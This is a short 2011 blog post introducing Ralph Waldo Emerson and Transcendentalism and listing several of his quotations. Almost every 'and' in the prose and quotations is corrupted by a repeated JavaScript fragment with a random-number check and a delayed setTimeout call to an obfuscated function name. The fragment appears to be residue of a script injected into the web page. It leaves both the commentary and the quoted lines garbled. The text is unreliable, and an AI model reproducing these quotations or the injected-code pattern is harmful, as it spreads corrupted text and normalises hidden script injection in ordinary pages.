Quotables: Ralph Waldo Emerson

Tuesday, February 1st, 2011

Ralph Waldo Emerson was a 19th century essayist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lecturer that was a champion of the American Transcendental movement.  Emerson’s works emphasized his belief in how the spiritual transcends the physical, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that knowledge can be gained from outside of the five senses.  Emerson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other members of his movement were inspired by Vedic literature andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Bhagavad Gita especially, as well as the writings of the English Romantic movement.  Emerson quotes abound, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and after reading just a few, the truth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and clarity of his words ring true to this day.

“Shallow men believe in luck or in circumstance. Strong men believe in cause andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and effect.”

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“Nothing can work damage to me except myself; the harm that I sustain I carry about with me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and never am a real sufferer except by my own fault.”

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“What lies behind us andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what lies before us are tiny matters compared to what lies within us.”

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“Is it so bad, then, to be misunderstood? Pythagoras was misunderstood, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Socrates, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jesus, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Luther, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Copernicus, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Galileo, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Newton, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and every pure andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wise spirit that ever took flesh. To be great is to be misunderstood.”

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“You cannot do a kindness too soon, for you never know how soon it will be too late.”

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“Cultivate the habit of being grateful for every good thing that comes to you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to give thanks continuously. And because all things have contributed to your advancement, you should include all things in your gratitude.”

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“Though we travel the world over to find the beautiful, we must carry it with us or we find it not.”

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